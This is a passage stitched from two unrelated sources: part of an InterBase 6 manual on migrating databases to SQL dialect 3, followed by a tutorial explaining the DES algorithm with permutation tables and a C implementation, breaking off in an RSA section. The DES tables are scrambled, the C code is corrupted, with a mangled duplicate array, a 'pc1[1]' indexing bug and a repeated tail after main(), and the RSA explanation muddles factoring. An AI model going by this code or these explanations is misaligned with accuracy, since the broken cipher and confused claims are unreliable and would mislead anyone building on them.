Perform the following steps in your new script file:

45

CHAPTER 3 MIGRATING TO INTERBASE 6

10. Locate each CREATE TRIGGER and CREATE DOMAIN statement and change it to
ALTER TRIGGER or ALTER DOMAIN as appropriate.
11. Locate each CREATE VIEW statement. Precede it by a corresponding DROP
statement. For example, if you have a CREATE VIEW foo statement, put a DROP
VIEW foo statement right before it, so that when you run this script against
your database, each view first gets dropped and then re-created.
12. If you have any ALTER TABLE statements that you copied because they contain
named table-level constraints, modify the statement so that it does nothing
except drop the named constraint and then add the constraint back with the
single quotes.
13. Check that stored procedure statements are ALTER PROCEDURE statements.
This should already be the case.
14. At the beginning of the script, put a CONNECT statement that connects to the
original database that you are migrating.
15. Make sure your database is backed up and run your script against the
database.
16. Use gfix to change the database dialect to 3.
gfix -sql_dialect 3 database.gdb

Note To run gfix against a database, you must attach as either the database owner or
SYSDBA.

17. At this point, DECIMAL and NUMERIC columns with a precision greater than 9
are still stored as DOUBLE PRECISION. To store the data as INT64, follow the
steps in Migrating NUMERIC and DECIMAL datatypes on page 48.
18. Validate the database using either IBConsole or gfix.
Thats it. Youve got a dialect 3 database. There is a little more work to do if you want
your NUMERIC and DECIMAL columns with a precision of greater than 9 to be stored as
INT64. At this point, they are still stored as DOUBLE PRECISION. To decide whether you want
to change they way data in these columns is stored, read
In addition, there are some optional steps you can take that are described in the following
sections, Column defaults and column constraints and Unnamed table
constraints.
IMPORTANT

46

If you ever extract metadata from the dialect 3 database that you created using the steps
above, and if you plan to use that metadata to create a new database, check to see if the
extracted metadata contains double quotes delimiting string constants in column
defaults, column constraints, or unnamed table constraints. Change any such
occurrences to single quotes before using the metadata to create the new database.

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

 Column defaults and column constraints


The steps above permitted you to retain double quoted string constants in column
defaults, column constraints, and unnamed table constraints. This is possible because,
once created, InterBase stores them in binary form.
Following the steps above creates a dialect 3 database that is fully functional, but if it
contains double quoted string constants in column defaults, column constraints, or
unnamed column constraints, inconsistencies are visible when you SHOW metadata or
extract it. You can choose to resolve these inconsistencies by following these steps:
1. Back up the database.
2. Examine the metadata to detect each occurrence of a column default or
column constraint that uses double quotes.
3. For each affected column, use the ALTER COLUMN clause of the ALTER TABLE
statement to give the column a temporary name. If column position is likely
to be an issue with any of your clients, change the position as well.
4. Create a new column with the desired datatype, giving it the original column
name and position.
5. Use UPDATE to copy the data from old column to the new column:
UPDATE table_name
SET new_col = old_col;

6. Drop the old column.

 Unnamed table constraints


Read the first two paragraphs under Column defaults and column constraints on
page 47 to understand why you dont always need to change constraints with double
quotes to single-quoted form, and why you might want to change them.
To bring unnamed table constraints that contain double quotes into compliance with the
dialect 3 standard, follow these steps:
1. Back up the database.
2. Examine the metadata to detect each occurrence of an unnamed table
constraint that uses double quotes.
3. For each occurrence, use SHOW TABLE to see the name that InterBase has
assigned to the constraint.
4. Use ALTER TABLE to drop the old constraint, using the name given in the SHOW
TABLE output and add a new constraint. For ease in future handling, give the
constraint a name.

47

CHAPTER 3 MIGRATING TO INTERBASE 6

If SHOW TABLE shows that InterBase stores the unnamed constraint as INTEG_2, then
issue the following statement to change the constraint:
ALTER TABLE foo
DROP CONSTRAINT INTEG_2,
ADD CONSTRAINT new_name
CHECK (col_name IN ('val1', 'val2', 'val3'));

 Migrating NUMERIC and DECIMAL datatypes


If you back up a NUMERIC or DECIMAL column with a precision greater than 9 (for
example, NUMERIC(12,2)) in an InterBase 5 or earlier database and restore the database
as InterBase 6, the column is still stored as DOUBLE PRECISION. Because InterBase does
not allow datatype conversions that could potentially result in data loss, you cannot use
the ALTER COLUMN statement to change the column datatype from DOUBLE PRECISION to
INT64. To migrate a DOUBLE PRECISION column to an INT64 column, you must create a new
INT64 column and copy the contents of the older column into it.
In InterBase 6 dialect 3, when you create a NUMERIC or DECIMAL column with a precision
of greater than 9, data in it is automatically stored as an INT64 exact numeric.
If you want NUMERIC and DECIMAL datatypes with a precision greater than 9 to be stored
as exact numerics, you must take some extra steps after migrating to dialect 3. The
following sections tell you how to decide whether you really need to take these steps and
how to perform them if you decide you want the exact numerics.
DO YOU REALLY NEED TO MIGRATE YOUR NUMERIC AND DECIMAL DATATYPES?

As you migrate you databases to dialect 3, consider the following questions about
columns defined with NUMERIC and DECIMAL datatypes:


Is the precision less than 10? If so, there is no issue. You can migrate without taking any
action and there will be no change in the database and no effect on clients.

For NUMERIC and DECIMAL columns with precision greater than 9, is DOUBLE PRECISION an
appropriate way to store your data?
In many cases, the answer is yes. If you want to continue to store your data as DOUBLE
PRECISION, change the datatype of the column to DOUBLE PRECISION either before or
after migrating your database to dialect 3. This doesnt change any functionality in
dialect 3, but it brings the declaration into line with the storage mode. In a dialect 3
database, newly-created columns of this type are stored as INT64, but migrated columns
are still stored as DOUBLE PRECISION. Changing the declaration avoids confusion.

48

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

DOUBLE PRECISION may not be appropriate or desirable for financial applications and
others that are sensitive to rounding errors. In this case, you need to take steps to
migrate your column so that it is stored as INT64 in dialect 3. As you make this decision,
remember that INT64 does not store the same range as DOUBLE PRECISION. Check
whether you will experience data loss and whether this is acceptable.
MIGRATING NUMERIC AND DECIMAL DATATYPES

Read Do you really need to migrate your NUMERIC and DECIMAL datatypes? on
page 48 to decide whether you have columns in a dialect 1 database that would be best
stored as 64-bit integers in a dialect 3 database. If this is the case, follow these steps for
each column:
1. Migrate your database to InterBase 6 as described in Method one: in-place
migration on page 44.
2. Use the ALTER COLUMN clause of the ALTER DATABASE statement to change the
name of each affected column to something different from its original name.
If column position is going to be an issue with any of your clients, use ALTER
COLUMN to change the positions as well.
3. Create a new column for each one that you are migrating. Use the original
column names and if necessary, positions. Declare each one as a DECIMAL or
NUMERIC with precision greater than 9.
4. Use UPDATE to copy the data from each old column to its corresponding new
column:
UPDATE tablename
SET new_col = old_col;

5. Check that your data has been successfully copied to the new columns and
drop the old columns.

Method two: migrating to a new database


If you can create a data transfer utility that copies data between databases, the process of
migrating a database to dialect 3 is considerably simplified.
Overview Extract the metadata from your database, examine it for problem areas, and fix

the problems. Use the modified metadata file to create a new dialect 3 database and use
an application to transfer data from the old database to the new.

49

CHAPTER 3 MIGRATING TO INTERBASE 6

1. If you have not migrated the database to version 6, dialect 1, do so first. Back
up the database again.
2. Extract the metadata from the database using isql -x. If you are migrating a
database that contains data structures created with GDML, see Migrating
older databases on page 50.
For the following steps, use a text editor to examine and modify the metadata file.
3. Search for each occurrence of the TIMESTAMP datatype. In most cases, these
were DATE datatypes in your pre-6 database. Decide whether you want it to
be TIME, TIMESTAMP, or DATE in your dialect 3 database. Change it as needed.
4. Find all instances of reserved words that are used as object names and
enclose them in double quotes to make them delimited identifiers.
5. Search for each instance of double quotes in the extracted metadata file.
These can occur in triggers, stored procedures, views, domains, exceptions,
table column defaults, and constraints. Change each double quote to a single
quote.
6. Search for each instance of a DECIMAL or NUMERIC datatype with a precision
greater than 9. Consider whether or not you want that data stored as DOUBLE
PRECISION or INT64. See Do you really need to migrate your NUMERIC and
DECIMAL datatypes? on page 48 for a discussion of issues. For occurrences
that should be stored as DOUBLE PRECISION, change the datatype to that.
Leave occurrences that you want stored as INT64 alone for now.
7. At the beginning of the file, enter SET SQL DIALECT 3. On the next line,
uncomment the CREATE DATABASE statement and edit it as necessary to create
a new database.
8. Run the metadata file as a script to create a new database.
9. Use your data transfer utility to copy data from the old database to the new
dialect 3 database. In the case of a large database, allow significant time for
this.
10. Validate the database using gfix.
11. At this point, DECIMAL and NUMERIC columns with a precision greater than 9
are still stored as DOUBLE PRECISION. To store the data as INT64, follow the
steps in Migrating NUMERIC and DECIMAL datatypes on page 48.

 Migrating older databases


If you have legacy databases in which some data structures were created with GDML, you
may need to extract metadata in a slightly different way.

50

INTERBASE 6

MIGRATING CLIENTS

1. Try extracting metadata as described in Step 2 above and examine it to see if


all tables and other DDL structures are present. If they are not, delete the
metadata file and extract using the -a switch instead of the -x switch. This
extracts objects created in GDML.
2. You may have to change some of the code to SQL form. For example, the
following domain definition
CREATE DOMAIN NO_INIT_FLAG AS SMALLINT
( no_init_flag = 1 or
no_init_flag = 0 or
no_init_flag missing);

needs to be translated to:


CREATE DOMAIN NO_INIT_FLAG AS SMALLINT
CHECK ( VALUE = 1 OR VALUE = 0 OR VALUE IS NULL );

3. Some code may be commented out. For example:


CREATE TABLE BOILER_PLATE (BOILER_PLATE_NAME NAME,
DATE DATE,
CREATED_DATE COMPUTED BY /* Date */);

needs to be changed to:


CREATE TABLE BOILER_PLATE (BOILER_PLATE_NAME NAME,
"DATE" DATE,
CREATED_DATE COMPUTED BY "DATE");

Migrating clients
To migrate an older client application to InterBase 6, install the InterBase 6 client onto
the platform where the client application resides. An InterBase server then recognizes
that client as a version 6 dialect 1 client.
It is good practice to recompile and relink the application and make note of field names,
datatype use, and so on in the new application. When you recompile, state the dialect
explicitly:
SET SQL DIALECT n;

51

CHAPTER 3 MIGRATING TO INTERBASE 6

IMPORTANT

If you have databases that use any of the new version 6 keywords as object identifiers
and you are not migrating those databases to dialect 3, you might want to not migrate
your version 5 clients. If you migrate them to version 6 dialect 1, you lose the ability to
access those keyword columns. See New keywords on page 27.
When you recompile an existing gpre client, you must recompile it with the
gpre -sql_dialect n switch.
There are several paths that permit you to create dialect 3 clients that access all new
InterBase 6 features:


In Delphi 5, make calls to functions in the new InterBase Express (IBX) package. Because
the Delphi 5 beta includes InterBase 5, it ships with a version of IBX that does not include
calls to the new InterBase 6 Services, Install, and Licensing APIs.

To write embedded SQL applications that address all InterBase 6 dialect 3 functionality,
compile them using gpre -sql_dialect 3.
Client

How to migrate

Older applications such as


Dialect is 1; there is no way to change the dialect
InterBase version 5 applications A version 5 client application becomes version 6 dialect 1
client whenever the InterBase 6 client is installed on the
machine with the client
ISQL

Issue the command line option:


-sql_dialect n

Or issue the command


SET SQL DIALECT n;

GPRE

Issue the command line option


-sql_dialect n

Or issue the command


EXEC SQL
SET SQL DIALECT n;

TABLE 3.7

52

BDE

All applications use SQL dialect 1. To access InterBase


dialect 3 features from Delphi 5, use the IBX components

InterClient

All applications use SQL dialect 1

Direct API calls

Set the dialect parameter on isc_dsql_execute_immediate(),


isc_dsql_exec_immed2(), isc_dsql_prepare() API calls to the
desired dialect value: 1 or 3

Migrating clients: summary

INTERBASE 6

IBREPLICATOR MIGRATION ISSUES

IBReplicator migration issues


InterBase 6 contains a new version of IBReplicator that should be used instead of
previous versions. It contains new features, described in the Release Notes and in the
Operations Guide, and a few changes which should be addressed when moving from
InterBase 5 to interBase 6. If you having been using IBReplicator with previous versions
of InterBase, keep these issues in mind:


If you have any schemas defined that have a source database replicating to more than
one target (within the same schema), then you should run the Create System Objects
command for each of those source databases. In such schemas, more than one entry is
placed in the log for any row modified. This does not cause any data errors, but does
cause some changes to be replicated more than once.
Note Do not run the Remove System Objects command, as this will empty the REPL_LOG

table.


If you have been using older licenses purchased from Synectics Software, those licenses
will not work with InterBase 6. You must use the version of IBReplicator for Opensource
InterBase, or buy new licenses from Borland Software Corporation for use with the
version of IBReplicator for Borland InterBase (the certified commercial version of
InterBase).

Migrating data from other DBMS products


If you have a large amount of data in another DBMS such as Paradox, the most efficient
way to bring the data into InterBase is to export the data from the original DBMS into
InterBase external file format. (See the Data Definition Guide for more information
about InterBase external files.) Then insert the data from the external files into the
internal tables. It is best not to have any constraints on new internal tables; you can
validate the database more easily once the data is in InterBase. If constraints do exist, you
will need triggers to massage the incoming data.

53

54

INTERBASE 6

___________________________________________________
Algorithms Explained By Ankit Fadia ankit@bol.net.in
<mailto:ankit@bol.net.in>
___________________________________________________
Encryption has become a part and parcel of our lives and we have
accepted the fact that data is going to encrypted and decrypted at
various stages. However, there is not a single encryption algorithm
followed everywhere. There are a number of algorithms existing, and I
feel there is a need to understand how they work. So this text
explains a number of popular encryption algorithms and makes you look
at them as mathematical formulas.
Data Encryption Standard or DES
The U.S government in 1977 adopted the Data Encryption Standard
(DES) algorithm. According to its developer the DES algorithm is:
It is a block cipher system which transforms 64-bit data blocks under
a 56-bit secret key under a 56-bit secret key, by means of permutation
and substitution.
Now, this tutorial will guide you through the various steps of the DES
encryption algorithm making you more confident in dealing with DES
encryption.
The following is a step by step guide to the DES algorithm, which was
originally written by Matthew Fischer and has been edited by me-:
1.) Firstly, we need to process the key.
1.1 Get a 64-bit key from the user. (Every 8th bit is considered a
parity bit. For a key to have correct parity, each byte should contain an
odd number of "1" bits.)
1.2 Calculate the key schedule.
1.2.1 Perform the following permutation on the 64-bit key. (The
parity bits are discarded, reducing the key to 56 bits. Bit 1 of the
permuted block is bit 57 of the original key, bit 2 is bit 49, and so on

with bit
56 being bit 4 of the original key.)
Permuted Choice 1 (PC-1)
57 49 41 33 25 17 9
1 58 50 42 34 26 18
10 2 59 51 43 35 27
19 11 3 60 52 44 36
63 55 47 39 31 23 15
7 62 54 46 38 30 22
14 6 61 53 45 37 29
21 13 5 28 20 12 4
1.2.2 Split the permuted key into two halves. The first 28 bits are
called C[0] and the last 28 bits are called D[0].
1.2.3

Calculate the 16 subkeys. Start with i = 1.

1.2.3.1 Perform one or two circular left shifts on both C[i-1] and
D[i-1] to get C[i] and D[i], respectively. The number of shifts per
iteration are given in the table below.
Iteration #
Left Shifts

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
1 1 2 2 2 2 2 2 1 2 2 2 2 2 2 1

1.2.3.2 Permute the concatenation C[i]D[i] as indicated below. This


will yield K[i], which is 48 bits long.
Permuted Choice 2 (PC-2)
14 17 11 24 1 5
3 28 15 6 21 10
23 19 12 4 26 8
16 7 27 20 13 2
41 52 31 37 47 55
30 40 51 45 33 48
44 49 39 56 34 53

46 42 50 36 29 32
1.2.3.3 Loop back to 1.2.3.1 until K[16] has been calculated.
2 Process a 64-bit data block.
2.1 Get a 64-bit data block. If the block is shorter than 64 bits, it
should be padded as appropriate for the application.
2.2 Perform the following permutation on the data block.
Initial Permutation (IP)
58
60
62
64
57
59
61
63

50
52
54
56
49
51
53
55

42
44
46
48
41
43
45
47

34
36
38
40
33
35
37
39

26
28
30
32
25
27
29
31

18
20
22
24
17
19
21
23

10
12
14
16
9
11
13
15

2
4
6
8
1
3
5
7

2.3 Split the block into two halves. The first 32 bits are called L[0],
and the last 32 bits are called R[0].
2.4 Apply the 16 subkeys to the data block. Start with i = 1.
2.4.1 Expand the 32-bit R[i-1] into 48 bits according to the bitselection function below.
Expansion (E)
32
4
8
12
16
20

1 2 3 4 5
5 6 7 8 9
9 10 11 12 13
13 14 15 16 17
17 18 19 20 21
21 22 23 24 25

24 25 26 27 28 29
28 29 30 31 32 1
2.4.2 Exclusive-or E(R[i-1]) with K[i].
2.4.3 Break E(R[i-1]) xor K[i] into eight 6-bit blocks. Bits 1-6 are
B[1], bits 7-12 are B[2], and so on with bits 43-48 being B[8].
2.4.4 Substitute the values found in the S-boxes for all B[j]. Start
with j = 1. All values in the S-boxes should be considered 4 bits wide.
2.4.4.1 Take the 1st and 6th bits of B[j] together as a 2-bit value
(call it m) indicating the row in S[j] to look in for the substitution.
2.4.4.2 Take the 2nd through 5th bits of B[j] together as a 4-bit
value (call it n) indicating the column in S[j] to find the substitution.
2.4.4.3 Replace B[j] with S[j][m][n].
Substitution Box 1 (S[1])
14 4 13
0 15 7
4 1 14
15 12 8

1 2
4 14
8 13
2 4

15 11 8 3 10 6 12 5 9
2 13 1 10 6 12 11 9 5
6 2 11 15 12 9 7 3 10
9 1 7 5 11 3 14 10 0

0 7
3 8
5 0
6 13

S[2]
15 1
3 13
0 14
13 8

8 14 6 11
4 7 15 2
7 11 10 4
10 1 3 15

3 4 9
8 14 12
13 1 5
4 2 11

7
0
8
6

2 13 12
1 10 6
12 6 9
7 12 0

0
9
3
5

5 10
11 5
2 15
14 9

S[3]
10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8
13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1
13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7

1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12
S[4]
7 13
13 8
10 6
3 15

14
11
9
0

3 0
5 6
0 12
6 10

6 9 10
15 0 3
11 7 13
1 13 8

1
4
15
9

2
7
1
4

8 5 11 12 4 15
2 12 1 10 14 9
3 14 5 2 8 4
5 11 12 7 2 14

S[5]
2 12 4 1 7 10 11 6 8
14 11 2 12 4 7 13 1 5
4 2 1 11 10 13 7 8 15
11 8 12 7 1 14 2 13 6

5 3 15 13
0 15 10 3
9 12 5 6
15 0 9 10

0 14 9
9 8 6
3 0 14
4 5 3

S[6]
12 1 10 15
10 15 4 2
9 14 15 5
4 3 2 12

9 2 6 8
7 12 9 5
2 8 12 3
9 5 15 10

0 13 3 4 14 7 5 11
6 1 13 14 0 11 3 8
7 0 4 10 1 13 11 6
11 14 1 7 6 0 8 13

S[7]
4 11 2 14
13 0 11 7
1 4 11 13
6 11 13 8

15
4
12
1

0 8 13 3 12
9 1 10 14 3
3 7 14 10 15
4 10 7 9 5

9 7 5 10
5 12 2 15
6 8 0 5
0 15 14 2

6 1
8 6
9 2
3 12

S[8]
13 2 8
1 15 13
7 11 4
2 1 14

4
8
1
7

6 15 11 1
10 3 7 4
9 12 14 2
4 10 8 13

10
12
0
15

9 3 14
5 6 11
6 10 13
12 9 0

5 0 12 7
0 14 9 2
15 3 5 8
3 5 6 11

2.4.4.4 Loop back to 2.4.4.1 until all 8 blocks have been replaced.

2.4.5 Permute the concatenation of B[1] through B[8] as indicated


below.
Permutation P
16 7 20 21
29 12 28 17
1 15 23 26
5 18 31 10
2 8 24 14
32 27 3 9
19 13 30 6
22 11 4 25
2.4.6 Exclusive-or the resulting value with L[i-1]. Thus, all together,
your R[i] = L[i-1] xor P(S[1](B[1])...S[8](B[8])), where B[j] is a 6-bit
block of E(R[i-1]) xor K[i]. (The function for R[i] is written as, R[i] =
L[i-1] xor f(R[i-1], K[i]).)
2.4.7 L[i] = R[i-1].
2.4.8 Loop back to 2.4.1 until K[16] has been applied.
2.5 Perform the following permutation on the block R[16]L[16].
Final Permutation (IP**-1)
40
39
38
37
36
35
34
33

8
7
6
5
4
3
2
1

48
47
46
45
44
43
42
41

16 56 24 64 32
15 55 23 63 31
14 54 22 62 30
13 53 21 61 29
12 52 20 60 28
11 51 19 59 27
10 50 18 58 26
9 49 17 57 25

This has been a description of how to use the DES algorithm to encrypt
one 64-bit block. To decrypt, use the same process, but just use the
keys K[i] in reverse order. That is, instead of applying K[1] for the
first
iteration, apply K[16], and then K[15] for the second, on down to K[1].
Summaries:
Key schedule:
C[0]D[0] = PC1(key)
for 1 <= i <= 16
C[i] = LS[i](C[i-1])
D[i] = LS[i](D[i-1])
K[i] = PC2(C[i]D[i])
Encipherment:
L[0]R[0] = IP(plain block)
for 1 <= i <= 16
L[i] = R[i-1]
R[i] = L[i-1] xor f(R[i-1], K[i])
cipher block = FP(R[16]L[16])
Decipherment:
R[16]L[16] = IP(cipher block)
for 1 <= i <= 16
R[i-1] = L[i]
L[i-1] = R[i] xor f(L[i], K[i])
plain block = FP(L[0]R[0])

To encrypt or decrypt more than 64 bits there are four official modes
(defined in FIPS PUB 81). One is to go through the above-described
process for each block in succession. This is called Electronic Codebook
(ECB) mode. A stronger method is to exclusive-or each plaintext block
with the preceding ciphertext block prior to encryption. (The first block
is exclusive-or'ed with a secret 64-bit initialization vector (IV).) This is
called Cipher Block Chaining (CBC) mode. The other two modes are
Output Feedback (OFB) and Cipher Feedback (CFB).

When it comes to padding the data block, there are several options.
One is to simply append zeros. Two suggested by FIPS PUB 81 are, if
the data is binary data, fill up the block with bits that are the opposite
of the last bit of data, or, if the data is ASCII data, fill up the block
with random bytes and put the ASCII character for the number of pad
bytes in the last byte of the block. Another technique is to pad the
block with random bytes and in the last 3 bits store the original number
of data bytes.
The DES algorithm can also be used to calculate checksums up to 64
bits long (see FIPS PUB 113). If the number of data bits to be check
summed is not a multiple of 64, the last data block should be padded
with zeros. If the data is ASCII data, the first bit of each byte
should be set to 0. The data is then encrypted in CBC mode with IV =
0. The leftmost n bits (where 16 <= n <= 64, and n is a multiple of 8)
of the final ciphertext block are an n-bit checksum.
Wow, that was one heck of a paper on DES. That would be all you need
to implement DES. Well, if you still have not understood how the DES
algorithm is implemented, then I suggest you go through the following C
program:
#include <stdio.h>
static int keyout[17][48];
void des_init(),lshift(),cypher(),des_encrypt(),des_descrypt();
void des_init(unsigned char *key){
unsigned char c[28],d[28];
static int pc1[56] = {57,49,41,33,25,17,9,
01,58,50,42,34,26,18,
10,02,59,51,43,35,27,
19,11,03,60,52,44,36,
63,55,47,39,31,23,15,
07,62,54,46,38,30,22,
14,06,61,53,45,37,29,
21,13,05,28,20,12,04};
static int pc2[48] = {14,17,11,24,1,5,
3,28,15,6,21,10,
23,19,12,4,26,8,

16,7,27,20,13,2,
41,52,31,37,47,55,
30,40,51,45,33,48,
44,49,39,56,34,53,
46,42,50,36,29,32};
static int nls[17] = {
0,1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1};
static int cd[56],keyb[64];
static int cnt,n=0;
register int i,j;
for(i=0;i<8;i++) /*Read in key*/
for(j=0;j<8;j++) keyb[n++]=(key[i]>>j&0x01);
for(i=0;i<56;i++) /*Permuted choice 1*/
cd[i]=keyb[pc1[1]-1];
for(i=0;i<28;i++){
c[i]=cd[i];
d[i]=cd[i+28];
}
for(cnt=1;cnt<=16;cnt++){
for(i=0;i<nls[cnt];i++){
lshift(c); lshift(d);
}
for(i=0;i<28;i++){
cd[i]=c[i];
cd[i+28]=d[i];
}
for(i=0;i<48;i++) /*Permuted Choice 2*/
keyout[cnt][i]=cd[pc2[i]-1];
}
}
static void lshift(unsigned char shft[]){
register int temp,i;
temp=shft[0];
for(i=0;i<27;i++) shft[i]=shft[i+1];
shft[27]=temp;
}
static void cypher(int *r, int cnt, int *fout){
static int expand[48],b[8][6],sout[8],pin[48];

register int i,j;


static int n,row,col,scnt;
static int p[32]={
16,7,20,21,29,12,28,17,1,15,23,26,
5,18,31,10,2,8,24,14,32,27,3,9,
19,13,30,6,22,11,4,25};
static int e[48] = {32,1,2,3,4,5,
4,5,6,7,8,9,
8,9,10,11,12,13,
12,13,14,15,16,17,
16,17,18,19,20,21,
20,21,22,23,24,25,
24,25,26,27,28,29,
28,29,30,31,32,1};
static char s[8][64] = {
14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7, /*s1*/
0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,
4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,
15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13,
15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10, /*s2*/
3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,
0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,
13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9,
10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8, /*s3*/
13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,
13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,
1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12,
7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,/*s4*/
13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,
10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,
3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14,
2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,/*s5*/
14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,
4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,
11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3,
12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11, /*s6*/
10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,
9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,

4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13,
4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,/*s7*/
13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,
1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,
6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12,
13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7, /*s8*/
1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,
7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,
2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11
};
for(i=0;i<48;i++) expand[i]=r[e[i]-1]; /*Expansion Function*/
for(i=n=0;i<8;i++) {
for(j=0;j<6;j++,n++) b[i][j]=expand[n]^keyout[cnt][n];
}
/*Selection functions*/
for(scnt=n=0;scnt<8;scnt++){
row=(b[scnt][0]<<1)+b[scnt][5];
col=(b[scnt][1]<<3)+(b[scnt][2]<<2)+(b[scnt][3]<<1)+b[scnt][4];
sout[scnt]=s[scnt][(row<<4)+col];
for(i=3;i>=0;i--){
pin[n]=sout[scnt]>>i;
sout[scnt]=sout[scnt]-(pin[n++]<<i);
}
}
for(i=0;i<32;i++) fout[i]=pin[p[i]-1]; /*Permutation Function*/
}
static int p[64] = {58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
5 = {58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7};

static int invp[64]={


40, 8,48,16,56,24,64,32,39, 7,47,15,55,23,63,31,
38, 6,46,14,54,22,62,30,37, 5,45,13,53,21,61,29,
36, 4,44,12,52,20,60,28,35, 3,43,11,51,19,59,27,
34, 2,42,10,50,18,58,26,33, 1,41, 9,49,17,57,25};
void des_encrypt(unsigned char *input){
static unsigned char out[64];
static int inputb[64],lr[64],l[32],r[32];
static int fn[32];
static int cnt,n;
register int i,j;
for(i=n=0;i<8;i++)
for(j=0;j<8;j++) inputb[n++]=(input[i]>>j&0x01);
for(i=0;i<64;i++){ /*Initial Permutation*/
lr[i]=inputb[p[i]-1];
if(i<32) l[i]=lr[i];
else r[i-32]=lr[i];
}
for(cnt=1;cnt<=16;cnt++){ /*Main encryption loop*/
cypher(r,cnt,fn);
for(i=0;i<32;i++){
j=r[i];
r[i]=l[i]^fn[i];
l[i]=j;
}
}
for(i=0;i<32;i++){
lr[i]=r[i];
lr[i+32]=l[i];
}
for(i=0;i<64;i++) out[i]=lr[invp[i]-1]; /*Inverse IP*/
for(i=1;i<=8;i++)
for(j=1;j<=8;j++) input[i-1]=(input[i-1]<<1)|out[i*8-j];
}
void des_decrypt(unsigned char *input){
static unsigned char out[64];
static int inputb[64],lr[64],l[32],r[32];
static int fn[32];

static int cnt,rtemp,n;


register int i,j;
for(i=n=0;i<8;i++)
for(j=0;j<8;j++) inputb[n++]=(input[i]>>j&0x01);
for(i=0;i<64;i++){ /*Initial Permutation*/
lr[i]=inputb[p[i]-1];
if(i<32) l[i]=lr[i];
else r[i-32]=lr[i];
}
for(cnt=16;cnt>0;cnt--){ /*Main decryption loop*/
cypher(r,cnt,fn);
for(i=0;i<32;i++){
rtemp=r[i];
if(l[i]==1 && fn[i]==1) r[i]=0;
else r[i]=(l[i] || fn[i]);
l[i]=rtemp;
}
}
for(i=0;i<32;i++){
lr[i]=r[i];
lr[i+32]=l[i];
}
for(i=0;i<64;i++) out[i]=lr[invp[i]-1]; /*Inverse IP*/
for(i=1;i<=8;i++)
for(j=1;j<=8;j++) input[i-1]=(input[i-1]<<1) | out[i*8-j];
}
int main(int argc, char *argv[]){
unsigned char *key;
unsigned char data[8];
int n;
FILE *in;
FILE *out;
if (argc!=4) {
printf("\r\nUsage: des [e][d] <source file> <destination file>\r\n");
return 1;
}
key=(unsigned char*)getpass("Enter Key:");
des_init(key);

if((in=fopen(argv[2],"rb"))==NULL){
fprintf(stderr,"\r\nCould not open input file: %s",argv[2]);
return 2;
}
if((out=fopen(argv[3],"wb"))==NULL){
fprintf(stderr,"\r\nCould not open output file: %s",argv[3]);
return 3;
}
if(argv[1][0]=='e'){
while ((n=fread(data,1,8,in)) >0){
des_encrypt(data);
printf("data enctyted");
if(fwrite(data,1,8,out) < 8){
fprintf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
if(argv[1][0]=='d'){
while ((n=fread(data,1,8,in)) >0){
des_decrypt(data);
if(fwrite(data,1,8,out) < 8){
fprintf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
fclose(in); fclose(out);
return 0;
}ntf(stderr,"\r\nError writing to output file\r\n");
return(3);
}
}
}
fclose(in); fclose(out);
return 0;
}
The RSA Encryption Algorithm

RSA is one of the most popular encryption algorithms around. It was


invented in 1977 by three MIT scientists; Ronald Rivest, Adi Shamir
and Leonard Adelman. This algorithm uses very very large prime numbers
to generate public and private keys. For more details about the
implementation of the RSA algorithm, read on.
The entire RSA algorithm is based on the concept of factoring.
Factoring is very easy to calculate i.e. an algorithm based on factoring
can easily be carried out, however, the strength of an algorithm based
on factoring lies in the fact that factoring is quite difficult to reverse.
So, encrypting data using a factoring algorithm can be done without
much of a problem, however to decrypt or crack an algorithm using a
factoring algorithm is not that easy.
Say you have two numbers x and y. Now it is relatively easier to find
out the final numbers when they are multiplied by a number N, however
on the other hand, if only N is know to us, then it is not easy to
calculate x and y. On top of this in RSA, N is very large number. This
makes the calculation all the more difficult. RSA uses factors of around
150 digits, making it not only impossible for manual calculation but also
making sure that the RSA encryption cannot be cracked within a feasible
amount of time.
In case of the encryption process, as RSA is a block encryption
